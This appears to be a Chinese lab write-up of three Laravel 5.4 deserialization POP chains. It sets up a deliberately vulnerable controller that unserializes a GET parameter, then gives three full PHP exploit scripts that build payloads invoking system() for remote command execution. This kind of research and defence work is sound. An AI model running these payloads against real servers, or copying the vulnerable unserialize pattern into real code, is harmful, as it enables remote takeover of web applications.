前言
laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)
环境搭建
laravel5.4部署
composer create-project laravel/laravel=5.4 laravel5-4 --prefer-dist
cd laravel5-4
php artisan serve
访问http://127.0.0.1:8000

添加路由
routes/web.php
Route::get('/seri', "SeriController@seri");

添加控制器
app/Http/Controllers/SeriController.php
<?php
namespace App\Http\Controllers;
class SeriController extends Controller
{
public function seri()
{
if (isset($_GET['code'])){
$code = $_GET['code'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "The laravel version is 5.4!";
}
}
?>

访问路径
http://127.0.0.1:8000/seri

漏洞分析
找__destruct()方法
src/Illuminate/Broadcasting/PendingBroadcast.php

这里$this->events和$this->event都是可控的
找可利用的__call()方法
Generator.php
src/Faker/Generator.php

分析
查找format()方法

$arguments就是我们传入的可控参数,$this->getFormatter($formatter)返回system时可 rce
查看getFormatter()方法

这里$this->formatters可控
直接返回$this->formatters[$formatter],而$formatter就是dispatch
所以可以构造$this->formatters = ['dispatch' => 'system']可以满足要求
复现
//exp_1.php
<?php
namespace Illuminate\Broadcasting
{
use Faker\Generator;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->event = $cmd;
$this->events = new Generator;
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Faker
{
class Generator
{
protected $formatters = array();
public function __construct()
{
$this->formatters = array('dispatch' => 'system');
}
}
}
?>

但是提交时报错

原因在于PendingBroadcast.php存在__wake()方法

注释掉该方法继续执行

成功执行命令
Manager.php
src/Illuminate/Support/Manager.php

分析
进入driver()方法

先查看createDriver()方法

在 callCustomCreator()方法中是一个可变函数
而且$this->customCreators和$this->app可控制

返回看$driver怎么来的

getDefaultDriver()方法是一个 abstract 抽象方法,需要找它的继承子类重写

转到ChannelManager.php文件
src/Illuminate/Notifications/ChannelManager.php


查看getDefaultDriver()方法
这时候就可以令$driver可控了

最后只要令$this->customCreators[$driver] = 'system'|$this->app = 'whoami'即可执行命令
复现
//exp_2.php
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ChannelManager($cmd);
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd)
{
$this->defaultChannel = 'shivers';
$this->customCreators = array('shivers' => 'system');
$this->app = $cmd;
}
}
}
?>

可以执行命令

ValidGenerator.php
src/Faker/ValidGenerator.php

分析
ValidGenerator.php的这个__call()方法中
$this->generator|$this->validator|$this->maxRetries都是可控的
而$res = call_user_func_array(array($this->generator, $name), $arguments);这个,只要找到一个__call()方法能返回可控字符的对象,然后令$this->generator等于这个对象,即可控制$res,此时可rce
通过搜索,找到DefaultGenerator.php
src/Faker/DefaultGenerator.php

__call()返回的$this->default是可控的,可满足要求
复现
//exp_3.php
<?php
namespace Illuminate\Broadcasting
{
use Faker\ValidGenerator;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ValidGenerator($cmd);
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Faker
{
use Faker\DefaultGenerator;
class ValidGenerator
{
protected $maxRetries;
protected $validator;
protected $generator;
public function __construct($cmd)
{
$this->generator = new DefaultGenerator($cmd);
$this->maxRetries = 10000000;
$this->validator = 'system';
}
}
}
namespace Faker
{
class DefaultGenerator
{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
}
?>

成功执行命令

